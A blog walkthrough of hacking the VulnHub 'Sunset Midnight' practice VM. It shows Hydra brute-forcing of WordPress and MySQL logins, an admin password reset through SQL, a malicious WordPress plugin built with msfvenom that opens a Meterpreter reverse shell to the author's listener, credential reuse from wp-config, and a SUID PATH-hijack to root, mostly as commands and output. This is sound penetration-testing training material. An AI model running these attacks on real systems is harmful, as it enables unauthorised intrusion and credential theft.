VulnHub Sunset Midnight Walkthrough

Next up is my VulnHub Sunset Midnight Walkthrough.

VulnHub Sunset Midnight Walkthrough – Introduction

It’s time for another VulnHub write-up to follow-up my last post!

This time, it’s Sunset Midnight by whitecr0wz, which you can download here

YouTube Version of this Post

If you prefer video and audio over just reading the text, then you can find the YouTube version of this post below.

That said, don’t forget to hit those like and subscribe buttons to help support the blog and channel!


First, I did an Nmap sweep of my network to get my target’s IP address.

root@kali:~/midnight# nmap -sn
Starting Nmap 7.70 ( ) at 2020-08-13 21:46 EDT
Nmap scan report for pfSense.sanctuary (


Nmap scan report for
Host is up (0.00017s latency).
MAC Address: 08:00:27:D1:9A:FF (Oracle VirtualBox virtual NIC)

Next, I used Nmap again and saw that ports 22, 80, and 3306 were open on my target.

root@kali:~/midnight# nmap -A
Starting Nmap 7.70 ( ) at 2020-08-13 21:47 EDT
Nmap scan report for
Host is up (0.00056s latency).
Not shown: 997 closed ports
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 9c:fe:0b:8b:8d:15:e7:72:7e:3c:23:e5:86:55:51:2d (RSA)
|   256 fe:eb:ef:5d:40:e7:06:67:9b:63:67:f8:d9:7e:d3:e2 (ECDSA)
|_  256 35:83:68:2c:33:8b:b4:6c:24:21:20:0d:52:ed:cd:16 (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Did not follow redirect to http://sunset-midnight/
3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.22-MariaDB-0+deb10u1
|   Thread ID: 13
|   Capabilities flags: 63486
|   Some Capabilities: Speaks41ProtocolOld, IgnoreSigpipes, Support41Auth, SupportsLoadDataLocal, LongColumnFlag, SupportsTransactions, Speaks41ProtocolNew, SupportsCompression, FoundRows, InteractiveClient, ODBCClient, ConnectWithDatabase, DontAllowDatabaseTableColumn, IgnoreSpaceBeforeParenthesis, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: ^DvF;45JTJRA-[dfTR|:
|_  Auth Plugin Name: 104
MAC Address: 08:00:27:D1:9A:FF (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see ).
TCP/IP fingerprint:

Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

1   0.56 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 26.41 seconds

When I visited port 80, I saw a default WordPress installation.

VulnHub Sunset Midnight Walkthrough - WordPress home page

Checking the first post, I saw that ‘admin’ was an author of the blog.

Admin author

Next, I performed some username enumeration, to verify that ‘admin’ was the correct username.

Admin username enumeration

I verified that the instance was vulnerable to username enumeration by testing a fake username.

VulnHub Sunset Midnight Walkthrough - Invalid username authentication

When I ran CMSmap, it didn’t find anything useful for me to target first.

root@kali:~/tools/CMSmap# python3 http://sunset-midnight/
[-] Date & Time: 13/08/2020 22:07:34
[-] Updating wordpress default files
[-] Updating wordpress default folders
[-] Updating joomla default files

... <snip> ...

[-] WordPress usernames identified:
[M] admin

... <snip> ...

[M]  EDB-ID: 37826 "WordPress Core 3.4.2 - Multiple Path Disclosure Vulnerabilities"
[M]  EDB-ID: 37902 "WordPress Plugin Akismet - Multiple Cross-Site Scripting Vulnerabilities"

... <snip> ...

[L] http://sunset-midnight/wp-content/plugins/simply-poll-master
[-] Date & Time: 13/08/2020 22:08:16
[-] Completed in: 0:00:41

Initial Foothold

First, since CMSmap didn’t find anything interesting, I tried to guess the WordPress ‘admin’ password using Hydra.

root@kali:~/midnight# hydra -L users.txt -P /usr/share/wordlists/rockyou.txt sunset-midnight -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' -t 64
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-08-13 22:17:57
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:0), ~14344399 tries per task
[DATA] attacking http-post-form://sunset-midnight:80//wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location
[ATTEMPT] target sunset-midnight - login "admin" - pass "123456" - 1 of 0 [child 14344399] (0/0)
[ATTEMPT] target sunset-midnight - login "admin" - pass "12345" - 2 of 0 [child 14344399] (0/1)
[ATTEMPT] target sunset-midnight - login "admin" - pass "123456789" - 3 of 0 [child 14344399] (0/2)
[ATTEMPT] target sunset-midnight - login "admin" - pass "password" - 4 of 0 [child 14344399] (0/3)
[ATTEMPT] target sunset-midnight - login "admin" - pass "iloveyou" - 5 of 0 [child 14344399] (0/4)


Unfortunately, I was unable to gain access to the WordPress user. Next, I pointed Hydra at the open MySQL instance, and was able to compromise the ‘root’ user!

root@kali:~/midnight# hydra -l root -P /usr/share/wordlists/rockyou.txt sunset-midnight mysql
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra ( starting at 2020-08-13 22:20:39
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:0), ~14344399 tries per task
[DATA] attacking mysql://sunset-midnight:3306/
[3306][mysql] host: sunset-midnight   login: root   password: robert
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 4 targets did not complete
Hydra ( finished at 2020-08-13 22:20:51

With the MySQL password, I was able to connect successfully to the remote instance.

root@kali:~/midnight# mysql -u root -p -h
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 30288
Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

With the MySQL access, I grabbed the WordPress admin password hash from the database.

MariaDB [wordpress_db]> select * from wp_users;
| ID | user_login | user_pass                          | user_nicename | user_email          | user_url               | user_registered     | user_activation_key | user_status | display_name |
|  1 | admin      | $P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/ | admin         | | http://sunset-midnight | 2020-07-16 19:10:47 |                     |           0 | admin        |
1 row in set (0.00 sec)

While I was unable to crack the MySQL hash on-stream, I used my privileges to reset the user’s password to ‘password’.

MariaDB [wordpress_db]> update wp_users set user_pass="5f4dcc3b5aa765d61d8327deb882cf99" WHERE ID=1;
Query OK, 1 row affected (0.23 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [wordpress_db]> select * from wp_users;
| ID | user_login | user_pass                        | user_nicename | user_email          | user_url               | user_registered     | user_activation_key | user_status | display_name |
|  1 | admin      | 5f4dcc3b5aa765d61d8327deb882cf99 | admin         | | http://sunset-midnight | 2020-07-16 19:10:47 |                     |           0 | admin        |
1 row in set (0.00 sec)

After changing the admin’s password, I was able to successfully login to the WordPress administrative portal.

WordPress administrative portal

WordPress PHP Webshell

First, with admin access, I tried to add a PHP command shell to the active theme.

Theme editor

I went to the active Twenty Seventeen theme, and added a basic PHP system() call to the footer.

VulnHub Sunset Midnight Walkthrough - PHP shell backdoor

Unfortunately, I was unable to save my edits to the footer for some reason.

Unable to save footer

I tried to edit another PHP file in the theme, but was unsuccessful there as well.

Footer edits with additional PHP

Malicious WordPress Plugin

After failing at adding a PHP webshell to the theme files, I moved on to uploading a malicious plugin.

First, I generated the malicious plugin and started up my listener using Malicious WordPress Plugin.

root@kali:~/tools# git clone
Cloning into 'malicious-wordpress-plugin'...
remote: Enumerating objects: 17, done.
remote: Counting objects: 100% (17/17), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 39 (delta 6), reused 12 (delta 5), pack-reused 22
Unpacking objects: 100% (39/39), done.
root@kali:~/tools# cd malicious-wordpress-plugin/
root@kali:~/tools/malicious-wordpress-plugin# ls
root@kali:~/tools/malicious-wordpress-plugin# python
__        __            _
\ \      / /__  ____ __| |___ __      __ ___
\ \ /\ / / _ \|  __/ _  |  _ \ \ /\ / /  _ \
  \ V  V / (_) | | | (_| | |_) \ V  V /| | | |
   \_/\_/ \___/|_|  \__,    _| .__/ \_/\_/ |_| |_|

Example: 8888 Y
root@kali:~/tools/malicious-wordpress-plugin# python 444 Y
[*] Checking if msfvenom installed
[+] msfvenom installed
[+] Generating plugin script
[+] Writing plugin script to file
[+] Generating payload To file
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 1507 (iteration=0)
php/base64 chosen with final size 1507
Payload size: 1507 bytes

[+] Writing files to zip
[+] Cleaning up files
[+] URL to upload the plugin: http://(target)/wp-admin/plugin-install.php?tab=upload
[+] How to trigger the reverse shell :
      ->   http://(target)/wp-content/plugins/malicious/wetw0rk_maybe.php
      ->   http://(target)/wp-content/plugins/malicious/QwertyRocks.php
[+] Launching handler

With the payload created, I uploaded it to the server.

VulnHub Sunset Midnight Walkthrough - Add malicious plugin

When I visited the trigger page, Meterpreter caught my reverse shell!

       =[ metasploit v4.17.34-dev                         ]
+ -- --=[ 1845 exploits - 1045 auxiliary - 320 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: ]

[*] Processing wordpress.rc for ERB directives.
resource (wordpress.rc)> use exploit/multi/handler
resource (wordpress.rc)> set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
resource (wordpress.rc)> set LHOST
resource (wordpress.rc)> set LPORT 444
LPORT => 444
resource (wordpress.rc)> exploit
[*] Started reverse TCP handler on
[*] Sending stage (38247 bytes) to
[*] Meterpreter session 1 opened ( -> at 2020-08-13 22:39:41 -0400

VulnHub Sunset Midnight Walkthrough – Lateral Movement

As expected, I had compromised the www-data user with my malicious plugin.

meterpreter > shell
Process 1476 created.
Channel 0 created.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

First, I looked at the wp-config.php file, but the password there seemed hashed.

* The base configuration for WordPress
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
* This file contains the following configurations:
* * MySQL settings
* * Secret keys
* * Database table prefix
* @link
* @package WordPress

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'jose' );

/** MySQL database password */
define( 'DB_PASSWORD', '645dc5a8871d2a4269d4cbe23f6ae103' );

The passwd file mentioned a ‘jose’ user, so I figured that I would need to access that account before escalating to root.

www-data@midnight:/var/www/html/wordpress$ cat /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false

After reading some WordPress posts, I realized that the wp-config password wasn’t hashed, and it was the plaintext DB password for the ‘jose’ user.

www-data@midnight:/var/www/html/wordpress$ mysql -u jose -p
mysql -u jose -p
Enter password: 645dc5a8871d2a4269d4cbe23f6ae103

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 30344
Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> exit

Using the same username and password, I was able to switch over to this user account.

www-data@midnight:/var/www/html/wordpress$ su - jose
su - jose
Password: 645dc5a8871d2a4269d4cbe23f6ae103

jose@midnight:~$ id
uid=1000(jose) gid=1000(jose) groups=1000(jose),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)

With access to this user, I was able to grab the user flag from the box!

jose@midnight:~$ cat user.txt    
cat user.txt

Privilege Escalation

Next, to escalate my privileges to root, I checked for any SUID binaries on the system.

jose@midnight:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

The /usr/bin/status binary looked interesting, so I started executing that.

jose@midnight:~$ /usr/bin/status
sh: 1: service: not found
Status of the SSH server:jose@midnight:~$ ls -al /usr/bin/status
ls -al /usr/bin/status
-rwsr-sr-x 1 root root 16768 Jul 18 15:54 /usr/bin/status
jose@midnight:~$ file /usr/bin/status
file /usr/bin/status
/usr/bin/status: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=0b60ab071f1d8a6295eedb7f6815e957f2936171, not stripped

When I executed this binary, it seemed to check the status of a service.

jose@midnight:~$ /usr/bin/status
sh: 1: service: not found
Status of the SSH server:jose@midnight:~$ test12345
-bash: test12345: command not found

After reading a StackOverflow thread, I realized that the “service: command not found” error indicated that the binary was literally trying to execute the ‘service’ binary.

jose@midnight:~$ service test12345
service test12345
-bash: service: command not found
jose@midnight:~$ service test12345 status
service test12345 status
-bash: service: command not found
jose@midnight:~$ service
-bash: service: command not found

With this information, I created a basic malicious ‘service’ binary for this status to execute.

jose@midnight:~$ cat service

Finally, I added this binary to my path, executed the status command, and escalated my privileges to root!

jose@midnight:~$ export PATH=$PATH:/home/jose
jose@midnight:~$ /usr/bin/status
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),1000(jose)

When I used cat to see the contents of the ‘status’ binary, it was clearer that it was trying to execute the ‘service’ command.

SSH service status

Now that I was the root user, I could grab the final flag and relax on my ASCII beach.

# cat root.txt
cat root.txt
          ___   ____
        /' --;^/ ,-_\     \ | /
       / / --o\ o-\ \\   --(_)--
      /-/-/|o|-|\-\\|\\   / | \
       '`  ` |-|   `` '
~;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,  ______   ---------   _____     ------


Thanks for playing! - Felipe Winsnes (@whitecr0wz)

The status binary was very simple, and I grabbed that from the box as well for this post.

#include <stdio.h>

int main(){
    printf("Status of the SSH server:");
    system("service ssh status");

Finally, as usual, I grabbed the shadow file in case anyone ever wants to crack some hashes.

# cat /etc/shadow

VulnHub Sunset Midnight Walkthrough – Conclusion

This was another simpler, yet interesting, box from whitecr0wz.

I’m not certain why the WordPress PHP shell didn’t work, so let me know if you have any ideas. The ‘service: not found’ was a fun little trick, even if it was just my lack of Linux error messages.

I know that there have been a ton of VulnHub posts recently, but I am still catching up on all of my stream highlights.

To catch me live, be sure to follow me on Twitch!

In the meantime, let me know if there is any other content that you’d like to see, or just come on over and watch/follow/subscribe to the Twitch channel!

Ray Doyle on GithubRay Doyle on TwitterRay Doyle on Youtube
Ray Doyle
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

The hacking, recording, and streaming setup (Amazon Affiliate links):

📷 Logitech C920S Webcam -
🎤 Blue Yeti USB Mic -
⌨ Corsair K65 -
🖱 Razer DeathAdder Chroma -
📺 Alienware 34" WQHD monitor -
🔊 Logitech Z263 -

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.

Leave a Comment

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.